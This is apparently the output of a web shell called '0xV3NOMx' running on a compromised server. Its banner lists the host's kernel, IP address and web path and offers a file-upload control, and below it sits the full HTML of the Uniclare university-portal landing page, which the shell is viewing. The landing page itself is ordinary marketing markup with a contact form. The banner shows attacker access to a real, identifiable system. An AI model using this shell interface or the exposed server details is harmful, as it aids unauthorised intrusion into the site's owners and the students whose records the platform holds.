0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.22.217.176


Current Path : /var/www/website/uniclare/
Upload File :
Current File : /var/www/website/uniclare/index.html

<!doctype html>
<!--[if lt IE 7]>      <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang=""> <![endif]-->
<!--[if IE 7]>         <html class="no-js lt-ie9 lt-ie8" lang=""> <![endif]-->
<!--[if IE 8]>         <html class="no-js lt-ie9" lang=""> <![endif]-->
<!--[if gt IE 8]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->

<head>
    <!--====== USEFULL META ======-->
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="Massive HTML5 Template is a simple Smooth Personal App Landing Template" />
    <meta name="keywords" content="App, Landing, Business, Onepage, Html, Business" />

    <!--====== TITLE TAG ======-->
    <title>UNICLARE</title>

    <!--====== FAVICON ICON =======-->
    <link rel="shortcut icon" type="image/ico" href="img/FAVICON.png" />

    <!--====== STYLESHEETS ======-->
    <link rel="stylesheet" href="css/normalize.css">
    <link rel="stylesheet" href="css/animate.css">
    <link rel="stylesheet" href="css/modal-video.min.css">
    <link rel="stylesheet" href="css/stellarnav.min.css">
    <link rel="stylesheet" href="css/owl.carousel.css">
    <link rel="stylesheet" href="css/slick.css">
    <link href="css/bootstrap.min.css" rel="stylesheet">
    <link href="css/font-awesome.min.css" rel="stylesheet">
    <link href="css/material-icons.css" rel="stylesheet">
    <link href="css/counter.css" rel="stylesheet">
    <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.6.3/css/all.css" >


    <!--====== MAIN STYLESHEETS ======-->
    <link href="style.css" rel="stylesheet">
    <link href="css/responsive.css" rel="stylesheet">

    <script src="js/vendor/modernizr-2.8.3.min.js"></script>
    <!--[if lt IE 9]>
        <script src="//oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
        <script src="//oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
        <![endif]-->
        
</head>

<body class="home-one" data-spy="scroll" data-target=".mainmenu-area" data-offset="90">

   

    <!--SCROLL TO TOP-->
   
    <!--START TOP AREA-->
    <header class="top-area" id="home">
        <div class="header-top-area">
            <!--MAINMENU AREA-->
            <div class="mainmenu-area sticky-wrapper is-sticky"
            
            style="width: 100%; position: fixed; top: 0px; z-index: auto;background: #7fc31c;height:60px"
            id="mainmenu-area">
              
                  
                <nav class="navbar">
                    <div class="container-fluid">
                        <div class="navbar-header">
                            <a href="#home" class="navbar-brand"  height="50px !important">
                                <img class="img-fluid" src="img/uini.png" height="50px important" alt="..." class="img-fluid"></a>
                        
                                <button style="display:none !important"
                                class="navbar-toggler"
                                type="button"
                                data-toggle="collapse"
                                data-target="#navbarNavDropdown"
                                aria-controls="navbarNavDropdown"
                                aria-expanded="false"
                                aria-label="Toggle navigation"
                              >
                                <span class="navbar-toggler-icon"></span>
                                Menu
                              </button>
                            </div>

                       
                        <div class="collapse navbar-collapse" id="navbarNavDropdown" style="display :none !important">
                          <ul class="navbar-nav ml-auto">
                               
                            <li class="nav-item">
                              <a href="http://studentportal.universitysolutions.in/" class="nav-link">Student portal </a>
                            </li>
                            <li class="nav-item">
                                  <a href="./aboutus.html" class="nav-link">About Us</a>
                                </li>
                                <li  class="nav-item">
                                      <a href="./contactus.html" class="nav-link">Contact Us</a>
                                    </li>
                           
                          </ul>
                        </div>

                        <div id="main-nav" class="stellarnav">
                            <div class="search-and-signup-button white pull-right hidden-md hidden-sm hidden-xs">
                           
                            <a  style="margin:0px 2px;color:white"  href="./index.html" >Home </a>
                            <a   style="margin:0px 2px;color:white"   href="./aboutus.html">About  Us</a>
                            <a  style="margin:0px 2px;color:white"  href="#client" >Client </a>
                               
                                <a  style="margin:0px 2px;color:white" target="_blank" href="http://studentportal.universitysolutions.in/" >Student Portal</a>
                              
                               
                                <a  style="margin:0px 2px;color:white"   href="./contactus.html" > Conatct Us</a>
                             
                            </div>

                       
                        </div>
                    </div>
                </nav>
                <div id="search-form-switcher" class="search-collapse-area collapse white">
                    <div class="container">
                        <div class="row">
                            <div class="col-md-12 col-xs-12">
                                
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <!--END MAINMENU AREA END-->
        </div>
        <div class="welcome-text-area white">
         
            <div class="welcome-area">
                <div class="container">
                    <div class="row flex-v-center">
                        <div class="col-md-7 col-lg-7 col-sm-12 col-xs-12">
                            <div class="welcome-mockup center">
                                <img class="img-fluid"  src="./img/screen1.png" alt="">
                            </div>
                        </div>
                        <div class="col-md-7 col-lg-7 col-sm-12 col-xs-12">
                            <div class="row" style="text-align: center;">
                            
                                <div class="col-lg-6"><a target="_blank" href="https://egov.universitysolutions.in">
                                
                            <button style="background: black;
    height: 62px;
    width: 83%;
    font-size: 18px;
    border-radius: 10px;" type="button" class="btn btn-primary">E-Governance  Portal</button>
                            </a>
                                </div>
                                <div class="col-lg-6">
                                    <a 
                                    target="_blank"
                                    href="https://studentportal.universitysolutions.in/" 
                                    
                                    >
                                <button style="background: black;
    height: 62px;
    width: 83%;
    font-size: 18px;
    border-radius: 10px;" type="button" class="btn btn-primary">Student Portal</button>
                                </a></div>
                            
                            </div>
                            <br>
                            <div class="welcome-text">
                                
                            
                                <h1 style="color:black; ">All your university needs
                                        On one platform</h1>
                                <p style="color:black ;font-size: 14px">Digitally connecting students, teachers, parents and colleges. Ensuring autonomy to students, strengthening the academic processes, encouraging cooperation and enhancing student’s university experience. Encrypting educational records, for the data safety of every individual.</p>
                                <!-- <div class="home-button">
                                    <p style="color:black">Compatible with</p>
                                    
                                    <i style="color:black" class="fab fa-android"></i>
                                    <i style="color:black" class="fab fa-apple"></i>
                                  
                                </div> -->
                            </div>
                             <div class="row" style="text-align: center;">
                     
                     <div class="col-lg-6"><a href="https://apps.apple.com/us/app/id1463149594"><img
                      class="img-fluid" 
                        style="max-width: 92%"

                      src="./img/apple1.png"></a>
                     </div>  
                      <div class="col-lg-6">
                        <a href="https://play.google.com/store/apps/details?id=com.uniclare&hl=en"><img
                             id="android"

                         class="img-fluid"  src="./img/android.png" style="margin-top: -10px" ></a></div> 
                     
                        </div>
                        <br>

                       
                    </div>
                </div>
            </div>
        </div>
    </header>
    <!--END TOP AREA-->

    <!--FEATURES TOP AREA-->

<div id="client" class="row text-center" style="margin:0px" >

        <div class="container">
            <div class="row text-center"  style="margin:0px">
               
               <div class="col-lg-12 text-center">
                <h2>E-Governance Beneficiary  </h2>
              
                </div>
                
                     
                
            </div>
              
                   
                    
                      
                 
        </div>
    </div>


    <div class="row text-center" style="margin:0px" >

        <div class="container">
            <div class="row text-center"  style="margin:0px">
               
               <div class="col-lg-12 text-center">
             
              
                </div>
                
                     
                
            </div>
              
                    <div class="col-lg-4">
                    <div class="counter" >
              <i class="fa fa-users fa-3x"></i>
              <h2 class="timer count-title count-number" data-to="211567" data-speed="1500"></h2>
               <p class="count-text ">Total Students</p>
            </div>
                    </div>
                      <div class="col-lg-4">
                       <div class="counter">
              <i class="fa fa-building fa-3x"></i>
              <h2 class="timer count-title count-number" data-to="1577" data-speed="1500"></h2>
              <p class="count-text ">Total Colleges</p>
            </div>
                      </div>
                      <div class="col-lg-4">
                          <div class="counter">
              <i class="fa fa-university fa-3x"></i>
              <h2 class="timer count-title count-number" data-to="4" data-speed="1500"></h2>
              <p class="count-text ">Total Universites </p>
            </div></div>
                      
                 
        </div>
    </div>

    <section class="features-top-area padding-100-50" id="features">
        <div class="container">
            <div class="row">
                <div class="col-md-8 col-lg-6 col-md-offset-2 col-lg-offset-3 col-sm-12 col-xs-12">
                    <div class="area-title text-center wow fadeIn">
                        <h2>Built and <span>customized </span></h2>
                        <span class="icon-and-border"><i class="material-icons">phone_android</i></span>
                        <p>Our built-in machine learning and context-aware features guarantee that all the notifications and alerts are always delivered at the perfect moment.</p>
                    </div>
                </div>
            </div>
            <div class="row">
                <div class="col-md-4 col-lg-4 col-sm-6 col-xs-12">
                    <div class="qs-box relative mb50 center wow fadeInUp" data-wow-delay="0.2s">
                          <div >
                            
                              <i class="fa fa-play gradient-1"></i>
                          </div>
                         
                        <h3>Automated event tracking</h3>
                        <p>Track your events automatically without switching between webpages and mobile applications.

                            </p>
                            
                    </div>
                </div>
                <div class="col-md-4 col-lg-4 col-sm-6 col-xs-12">
                    <div class="qs-box relative mb50 center  wow fadeInUp" data-wow-delay="0.3s">
                       <div>
                            
                              <i class="fas fa-cog gradient-2"></i>
                          </div>
                        <h3>Machine learning</h3>
                        <p>
                                Our machine learning algorithms are customized to give you reports on students, teachers and colleges performance</p>
                      
                    </div>
                </div>
                <div class="col-md-4 col-lg-4 col-sm-12 col-xs-12">
                    <div class="qs-box relative mb50 center  wow fadeInUp" data-wow-delay="0.4s">
                        <div>
                            
                              <i class="fas fa-bell gradient-3"></i>
                          </div>
                        <h3>
                                Smart notifications</h3>
                        <p>Receive smart notifications exactly at the right moments when you need them</p>
                      
                    </div>
                </div>
            </div>
        </div>
    </section>
    <!--FEATURES TOP AREA END-->
    <section class="screenshot-area gray-bg section-padding" id="screenshot">
            <div class="container">
                <div class="row">
                    <div class="col-md-8 col-lg-6 col-md-offset-2 col-lg-offset-3 col-sm-12 col-xs-12">
                        <div class="area-title text-center wow fadeIn">
                            <h2 style="font-size:19px">Easy-to-use interfaces  <span>on every platform</span></h2>
                            <span class="icon-and-border"><i class="material-icons">phone_android</i></span>
                            <p>Since most of our features work in a completely automated way, you will mainly use our app for admission procedures, attendance records, class records, examination related information

                                </p>
                        </div>
                    </div>
                </div>
            </div>
            <div class="container-fluid">
                <div class="row">
                    <div class="col-md-12 col-lg-12 col-sm-12 col-xs-12">
                        <div class="screenshot-slider-area wow fadeIn">
                            <div class="screenshot-slider">
                                <div class="single-screenshot">
                                    <img class="img-fluid"  class="img-fluid" src="img/screenshot/Sc_1.png" alt="">
                                </div>
                                
                                <div class="single-screenshot">
                                    <img class="img-fluid"  class="img-fluid" src="img/screenshot/Sc_6.png" alt="">
                                </div>
                                <div class="single-screenshot">
                                    <img class="img-fluid"  src="img/screenshot/Sc_7.png" alt="">
                                </div>
                                 <div class="single-screenshot">
                                    <img class="img-fluid"  src="img/screenshot/Sc_8.png" alt="">
                                </div>
                                 <div class="single-screenshot">
                                    <img class="img-fluid"  src="img/screenshot/Sc_5.png" alt="">
                                </div>
                               
                            </div>
                        </div>
                    </div>
                </div>
                <br>
                <br>
                 <div class="row" style="text-align: center;">
                    <div class="col-lg-4"></div>  
                     <div class="col-lg-2"><a href="https://apps.apple.com/us/app/id1463149594"><img


                      class="img-fluid" 
                        style="max-width: 92%"

                      src="./img/apple1.png"></a>
                     </div>  
                      <div class="col-lg-2">
                        <a href="https://play.google.com/store/apps/details?id=com.uniclare&hl=en"><img 
                             id="android"
                             

                            class="img-fluid"  src="./img/android.png" style="margin-top: -10px" ></a></div> 
                       <div class="col-lg-4"></div>   
                </div>
            </div>
        </section>

    <!-- WORK AREA
    <section class="work-area section-padding" id="work">
        <div class="container">
            <div class="row">
                <div class="col-md-8 col-lg-6 col-md-offset-2 col-lg-offset-3 col-sm-12 col-xs-12">
                    <div class="area-title text-center wow fadeIn">
                        <h2>How it <span>work</span></h2>
                        <span class="icon-and-border"><i class="material-icons">phone_android</i></span>
                        <p>Rapidiously monetize state of the art ROI rather than quality. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Enim neque aliquid.</p>
                    </div>
                </div>
            </div>
            <div class="row flex-v-center">
                <div class="col-md-4 col-lg-4 col-sm-4 col-xs-12">
                    <div class="qs-box right mb100 padding-30 wow fadeIn">
                        <div class="line-border"></div>
                        <h4>step1</h4>
                        <p>Duis finibus odio sit amet nisi dictum et viverra libero semper donec consectetur ultrices ante ac vehicula.</p>
                    </div>
                    <div class="qs-box right mb100 padding-30 wow fadeIn">
                        <div class="line-border"></div>
                        <h4>Step 2</h4>
                        <p>Duis finibus odio sit amet nisi dictum et viverra libero semper donec consectetur ultrices ante ac vehicula.</p>
                    </div>
                </div>
                <div class="col-md-4 col-lg-4 col-sm-4 col-xs-12 ">
                    <div class="service-image text-center wow fadeIn">
                        <img class="img-fluid"  src="img/mockups/work-area-mockup.png" alt="">
                    </div>
                </div>
                <div class="col-md-4 col-lg-4 col-sm-4 col-xs-12 pull-left">
                    <div class="qs-box left mt100 padding-30 wow fadeIn">
                        <div class="line-border"></div>
                        <h4>Step3</h4>
                        <p>Duis finibus odio sit amet nisi dictum et viverra libero semper donec consectetur ultrices ante ac vehicula.</p>
                    </div>
                    <div class="qs-box left mt100 padding-30 wow fadeIn">
                        <div class="line-border"></div>
                        <h4>Step4</h4>
                        <p>Duis finibus odio sit amet nisi dictum et viverra libero semper donec consectetur ultrices ante ac vehicula.</p>
                    </div>
                </div>
            </div>
        </div>
    </section> -->
    <!--WORK AREA END-->

    <!--SCREENSHOT AREA-->
 
    <!--SCREENSHOT AREA END-->
    <section class="features-top-area padding-100-50" id="features">
            <div class="container">
                <div class="row">
                    <div class="col-md-8 col-lg-6 col-md-offset-2 col-lg-offset-3 col-sm-12 col-xs-12">
                        <div class="area-title text-center wow fadeIn">
                            <h2>Uniclare <span>features </span></h2>
                            <span class="icon-and-border"><i class="material-icons">phone_android</i></span>
                            <p>Our aim is to provide best-of-breed educational solutions leveraging Blockchain technology and connecting students to prospective employers across the globe.</p>
                        </div>
                    </div>
                </div>
               
                <div class="row">
                    <div class="col-md-4 col-lg-4 col-sm-6 col-xs-12">
                        <div class="qs-box relative mb50 center wow fadeInUp" data-wow-delay="0.2s">
                            <div class="qs-box-icon">
                               <img class="img-fluid"  src="./img/icon1.png" alt="" srcset="">
                            </div>
                            <h3>Transcripts</h3>
                            <p>Academic crerdencials will be made to be universally recognized and verifiable
    
                                </p>
                                
                        </div>
                    </div>
                    <div class="col-md-4 col-lg-4 col-sm-6 col-xs-12">
                        <div class="qs-box relative mb50 center  wow fadeInUp" data-wow-delay="0.3s">
                            <div class="qs-box-icon">
                                    <img class="img-fluid"  src="./img/icon2.png" alt="" srcset="">
                            </div>
                            <h3>Badges</h3>
                            <p>
                                    Specific skill assertions can be verified and communicated with a digital badge</p>
                          
                        </div>
                    </div>
                    <div class="col-md-4 col-lg-4 col-sm-12 col-xs-12">
                        <div class="qs-box relative mb50 center  wow fadeInUp" data-wow-delay="0.4s">
                            <div class="qs-box-icon">
                                    <img class="img-fluid"  src="./img/icon3.png" alt="" srcset="">
                            </div>



                            <h3>
                                   Student Records</h3>
                            <p>Uniclare is using Blockchain to secure and share student records, storing an comprehensive learner record</p>
                          
                        </div>
                    </div>
                </div>
            </div>
        </section>
    <section class="about-area gray-bg section-padding" id="about">
            <div class="container">
            
                <div class="row flex-v-center">
                    <div class="col-md-6 col-lg-6 col-sm-12 col-xs-12">
                        <div class="about-content sm-mb50 sm-center">
                            <h1 class="mb30">Contact us</h1>
                                                 
                               

                                <a target="_blank" href="https://studentportal.universitysolutions.in/" style="background: #7fc31c" class="video-button mt30 inline-block"><i class="fa fa-play"></i> Student Portal</a>

                        </div>
                    </div>
                    <div class="col-md-6 col-lg-6 col-sm-12 col-xs-12">
                       <div class="contact-form mb50 wow fadeIn">

                          


                            <form  id="contact-form" method="post">
                                <div class="row">
                                    <div class="col-md-12 col-lg-12 col-sm-12 col-xs-12">
                                        <div class="form-group" id="name-field">
                                            <div class="form-input">
                                                <input id="name" type="text" class="form-control" id="form-name" name="form-name" placeholder="Name.." required>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="col-md-12 col-lg-12 col-sm-12 col-xs-12">
                                        <div class="form-group" id="email-field">
                                            <div class="form-input">
                                                <input id="email" type="email" class="form-control" id="form-email" name="form-email" placeholder="Email.." required>
                                           
                                               
                                            </div>
                                        </div>
                                    </div>
                                     <div class="col-md-12 col-lg-12 col-sm-12 col-xs-12">
                                        <div class="form-group" id="phone-field">
                                            <div class="form-input">
                                                <input 
                                                 type="text"
                                                 
                                               
                                                 id="subject" class="form-control" id="form-phone" name="form-phone" placeholder="Subject.." required>
                                            </div>
                                        </div>
                                    </div>
                                   
                                    <div class="col-md-12 col-lg-12 col-sm-12 col-xs-12">
                                            <div class="form-group" id="message-field">
                                                <div class="form-input">
                                                        <input placeholder="phone number"
                                                        id="phonenumber"
                                                        
                                                        onkeypress="return event.charCode >= 48 && event.charCode <= 57"
                                                        type="text" class="form-control" name="country_code" maxlength="10" required>
                                                </div>
                                            </div>
                                        </div> 
                                    <div class="col-md-12 col-lg-12 col-sm-12 col-xs-12">
                                        <div class="form-group" id="message-field">
                                            <div class="form-input">
                                                <textarea id="message" class="form-control" rows="6" id="form-message" name="form-message" placeholder="Your Message Here..." required></textarea>
                                            </div>
                                        </div>
                                    </div> 
                                    <div class="col-md-12 col-lg-12 col-sm-12 col-xs-12">
                                        <div class="form-group center">
                                            <button id="postButton" type="submit">Send Message</button>
                                            <button style="text-align: center" class="hide" id="load" disabled>Please  wait....</button>
                                           
                                        </div>
                                        <p id="text" style="color:lightgreen" class="hide">Your message sent!</p>
                                        
                                    </div>
                                </div>
                            </form>
                        </div>
                    </div>
                </div>
            </div>
        </section>
   
    
    <!--FOOER AREA-->
    <div class="footer-area white">
       
        <div class="footer-bottom-area blue-bg">
            <div class="container">
                <div class="row">
                    <div class="col-md-12 col-lg-12 col-sm-12 col-xs-12">
                        <div class="footer-social-bookmark text-center wow fadeIn">
                           
                            
                        </div>
                    </div>
                </div>
                <div class="row">
                    <br>
                    <br>

                     <div class="row" style="text-align: center;">
                    <div class="col-lg-4"></div>  
                     <div class="col-lg-2"><a href="https://apps.apple.com/us/app/id1463149594"><img 
                

                        class="img-fluid" 
                        style="max-width: 92%"

                      src="./img/apple1.png"></a>
                     </div>  
                      <div class="col-lg-2">
                        <a href="https://play.google.com/store/apps/details?id=com.uniclare&hl=en"><img 
                                    id="android"


                            class="img-fluid"  src="./img/android.png" style="margin-top: -10px" ></a></div> 
                       <div class="col-lg-4"></div>   
                </div>
                    <div class="col-md-12 col-lg-12 col-sm-12 col-xs-12">
                        <div class="footer-copyright text-center wow fadeIn">
                            <p><!-- Link back to Colorlib can't be removed. Template is licensed under CC BY 3.0. -->
Copyright &copy;<script>document.write(new Date().getFullYear());</script> All rights reserved | Uniclare Solutions Private Limited| <a class="atag" href="http://uniclare.com/policy.html"> Privacy Policy</a>|</p>
                        </div>


                        
                    </div>
                </div>
            </div>
        </div>
    </div>
    <!--FOOER AREA END-->


    <!--====== SCRIPTS JS ======-->
    <script src="js/vendor/jquery-1.12.4.min.js"></script>
    <script src="js/vendor/bootstrap.min.js"></script>

    <!--====== PLUGINS JS ======-->
    <script src="js/vendor/jquery.easing.1.3.js"></script>
    <script src="js/vendor/jquery-migrate-1.2.1.min.js"></script>
    <script src="js/vendor/jquery.appear.js"></script>
    <script src="js/owl.carousel.min.js"></script>
    <script src="js/slick.min.js"></script>
    <script src="js/stellar.js"></script>
    <script src="js/wow.min.js"></script>
    <script src="js/jquery-modal-video.min.js"></script>
    <script src="js/stellarnav.min.js"></script>
    <script src="js/contact-form.js"></script>
    <script src="js/jquery.ajaxchimp.js"></script>
    <script src="js/jquery.sticky.js"></script>

    <!--===== ACTIVE JS=====-->
    <script src="js/main.js"></script>
    <script src="js/counter.js"></script>



    <script type="text/javascript">

function isNumberKey(evt){
    var charCode = (evt.which) ? evt.which : event.keyCode
    if (charCode > 31 && (charCode < 48 || charCode > 57))
        return false;
    return true;
}

        $(function () {
            $("form").submit(function () {
                $("#postButton").attr("class", "hide");
                $("#load").attr("class", "show");
           
               
                console.log("name",document.getElementById('name').value)


                var url = 'http://localhost:8888/login';

                var postData = {idFname:document.getElementById('name').value, 
                idEmail:document.getElementById('email').value,
                sub:document.getElementById('subject').value,
                idMobile:document.getElementById('phonenumber').value,
                msg:document.getElementById('message').value
            }

               
                // $.post(url, postData, function (data, status) {
                //     alert("Ajax post status is " + status);
                //     alert(data);
                // });
             

                
                 $.ajax({
                   
                   type: "POST",
  url: "http://universitysolutions.in/univadmin/app.php?a=UniCntctFrom",
  data: postData,
  success:function(data){},
 
  beforeSend: function(){
        $("#postButton").button("disable");
      },
      success: function(data){
        console.log("sucucucucucuu",data);
        $("#postButton").button("#postButton");
    
        $("#text").attr("class", "show");
        $("#load").attr("class", "hide");
        $("#postButton").attr("class", "show");
      
      }
                 })

            });

          
          })

    </script>


</body>

</html>